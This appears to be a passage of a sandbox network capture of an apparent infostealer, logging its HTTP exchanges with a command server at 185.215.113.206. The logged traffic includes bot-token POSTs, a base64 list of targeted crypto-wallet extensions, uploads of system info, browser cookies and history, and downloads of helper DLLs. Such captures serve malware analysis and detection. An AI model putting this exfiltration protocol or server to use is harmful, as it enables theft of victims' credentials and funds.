69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4b 46 43 46 49 49 4a 4a 4b 4b 46 48 49 45 48 4a 4b 2d 2d 0d 0a Data Ascii: ------BKKKFCFIIJJKKFHIEHJKContent-Disposition: form-data; name="token"ea8ecd2e68f8a3c9833c82b6c4cc5ef8b92dd04246507b3d0b78525eafdaa02861980ffd------BKKKFCFIIJJKKFHIEHJKContent-Disposition: form-data; name="message"plugins------BKKKFCFIIJJKKFHIEHJK--
Nov 20, 2024 12:57:38.609817982 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:57:38 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 20, 2024 12:57:38.609878063 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 20, 2024 12:57:38.609918118 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 20, 2024 12:57:38.609954119 CET	672	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Nov 20, 2024 12:57:38.609991074 CET	1236	IN	Data Raw: 64 47 6c 6a 59 58 52 76 63 6e 78 70 62 47 64 6a 62 6d 68 6c 62 48 42 6a 61 47 35 6a 5a 57 56 70 63 47 6c 77 61 57 70 68 62 47 70 72 59 6d 78 69 59 32 39 69 62 48 77 78 66 44 42 38 4d 48 78 43 61 58 52 33 59 58 4a 6b 5a 57 35 38 62 6d 35 6e 59 32 Data Ascii: dGljYXRvcnxpbGdjbmhlbHBjaG5jZWVpcGlwaWphbGprYmxiY29ibHwxfDB8MHxCaXR3YXJkZW58bm5nY2Vja2JhcGViZmltbmxuaWlpYWhrYW5kY2xibGJ8MXwwfDB8S2VlUGFzc1hDfG9ib29uYWtlbW9mcGFsY2dnaG9jZm9hZG9maWRqa2trfDF8MHwwfERhc2hsYW5lfGZkamFtYWtwZmJiZGRmamFvb2lrZmNwYXBqb2h
Nov 20, 2024 12:57:38.610024929 CET	1236	IN	Data Raw: 63 47 35 72 62 57 52 71 63 47 39 6a 5a 32 74 6f 59 58 77 78 66 44 42 38 4d 48 78 44 62 32 6c 75 61 48 56 69 66 47 70 6e 59 57 46 70 62 57 46 71 61 58 42 69 63 47 52 76 5a 33 42 6b 5a 32 78 6f 59 58 42 6f 62 47 52 68 61 32 6c 72 5a 32 56 6d 66 44 Data Ascii: cG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXwwfDB8RnJvbnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25oaWZwamthcGZiaWhkfDF8MHw
Nov 20, 2024 12:57:38.610064030 CET	492	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 76 62 57 46 68 59 6d 4a 6c 5a 6d 4a 74 61 57 6c 71 5a 57 52 75 5a 33 42 73 5a 6d 70 74 62 6d 39 76 63 48 42 69 59 32 78 72 61 33 77 78 66 44 42 38 4d 48 78 50 63 47 56 75 54 57 46 7a 61 79 42 58 59 57 78 73 5a 58 Data Ascii: IFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHxqaWlkaWFhbGlobW1
Nov 20, 2024 12:57:38.611982107 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGHCGIIDGDAKFIEBKFCF Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 48 43 47 49 49 44 47 44 41 4b 46 49 45 42 4b 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 61 38 65 63 64 32 65 36 38 66 38 61 33 63 39 38 33 33 63 38 32 62 36 63 34 63 63 35 65 66 38 62 39 32 64 64 30 34 32 34 36 35 30 37 62 33 64 30 62 37 38 35 32 35 65 61 66 64 61 61 30 32 38 36 31 39 38 30 66 66 64 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 43 47 49 49 44 47 44 41 4b 46 49 45 42 4b 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 43 47 49 49 44 47 44 41 4b 46 49 45 42 4b 46 43 46 2d 2d 0d 0a Data Ascii: ------CGHCGIIDGDAKFIEBKFCFContent-Disposition: form-data; name="token"ea8ecd2e68f8a3c9833c82b6c4cc5ef8b92dd04246507b3d0b78525eafdaa02861980ffd------CGHCGIIDGDAKFIEBKFCFContent-Disposition: form-data; name="message"fplugins------CGHCGIIDGDAKFIEBKFCF--
Nov 20, 2024 12:57:38.862200975 CET	335	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:57:38 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 20, 2024 12:57:38.887339115 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFHDAEGHDGDBGDGDAAFI Host: 185.215.113.206 Content-Length: 7311 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 12:57:38.887382030 CET	7311	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 41 45 47 48 44 47 44 42 47 44 47 44 41 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 61 38 65 63 64 Data Ascii: ------AFHDAEGHDGDBGDGDAAFIContent-Disposition: form-data; name="token"ea8ecd2e68f8a3c9833c82b6c4cc5ef8b92dd04246507b3d0b78525eafdaa02861980ffd------AFHDAEGHDGDBGDGDAAFIContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 20, 2024 12:57:39.632421970 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:57:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 12:57:39.935924053 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 12:57:40.159914017 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:57:40 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 20, 2024 12:57:40.159977913 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 20, 2024 12:57:40.160018921 CET	448	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49756	185.215.113.206	80	432	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 12:57:48.444156885 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJEGCAAECBFIEBGHJDG Host: 185.215.113.206 Content-Length: 991 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 12:57:48.444156885 CET	991	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 45 47 43 41 41 45 43 42 46 49 45 42 47 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 61 38 65 63 64 Data Ascii: ------HJJEGCAAECBFIEBGHJDGContent-Disposition: form-data; name="token"ea8ecd2e68f8a3c9833c82b6c4cc5ef8b92dd04246507b3d0b78525eafdaa02861980ffd------HJJEGCAAECBFIEBGHJDGContent-Disposition: form-data; name="file_name"Y29va2llc1xHb
Nov 20, 2024 12:57:49.647233009 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:57:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 12:57:49.819900990 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGHIIJKEBGIDHIDBKJD Host: 185.215.113.206 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 12:57:49.819936991 CET	1451	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 61 38 65 63 64 Data Ascii: ------JDGHIIJKEBGIDHIDBKJDContent-Disposition: form-data; name="token"ea8ecd2e68f8a3c9833c82b6c4cc5ef8b92dd04246507b3d0b78525eafdaa02861980ffd------JDGHIIJKEBGIDHIDBKJDContent-Disposition: form-data; name="file_name"aGlzdG9yeVxHb
Nov 20, 2024 12:57:50.540817022 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:57:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 12:57:50.572748899 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHDBGDHDAECBGDHJKFID Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 61 38 65 63 64 32 65 36 38 66 38 61 33 63 39 38 33 33 63 38 32 62 36 63 34 63 63 35 65 66 38 62 39 32 64 64 30 34 32 34 36 35 30 37 62 33 64 30 62 37 38 35 32 35 65 61 66 64 61 61 30 32 38 36 31 39 38 30 66 66 64 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EHDBGDHDAECBGDHJKFIDContent-Disposition: form-data; name="token"ea8ecd2e68f8a3c9833c82b6c4cc5ef8b92dd04246507b3d0b78525eafdaa02861980ffd------EHDBGDHDAECBGDHJKFIDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EHDBGDHDAECBGDHJKFIDContent-Disposition: form-data; name="file"------EHDBGDHDAECBGDHJKFID--
Nov 20, 2024 12:57:51.457907915 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:57:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 12:57:51.837642908 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBFCGIDAKECGCBGDBAFI Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 61 38 65 63 64 32 65 36 38 66 38 61 33 63 39 38 33 33 63 38 32 62 36 63 34 63 63 35 65 66 38 62 39 32 64 64 30 34 32 34 36 35 30 37 62 33 64 30 62 37 38 35 32 35 65 61 66 64 61 61 30 32 38 36 31 39 38 30 66 66 64 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FBFCGIDAKECGCBGDBAFIContent-Disposition: form-data; name="token"ea8ecd2e68f8a3c9833c82b6c4cc5ef8b92dd04246507b3d0b78525eafdaa02861980ffd------FBFCGIDAKECGCBGDBAFIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FBFCGIDAKECGCBGDBAFIContent-Disposition: form-data; name="file"------FBFCGIDAKECGCBGDBAFI--
Nov 20, 2024 12:57:52.564126015 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:57:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 12:57:52.819478989 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 12:57:53.037410021 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:57:52 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 20, 2024 12:57:53.037473917 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 20, 2024 12:57:53.037508011 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 20, 2024 12:57:53.037543058 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 20, 2024 12:57:53.037576914 CET	1236	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
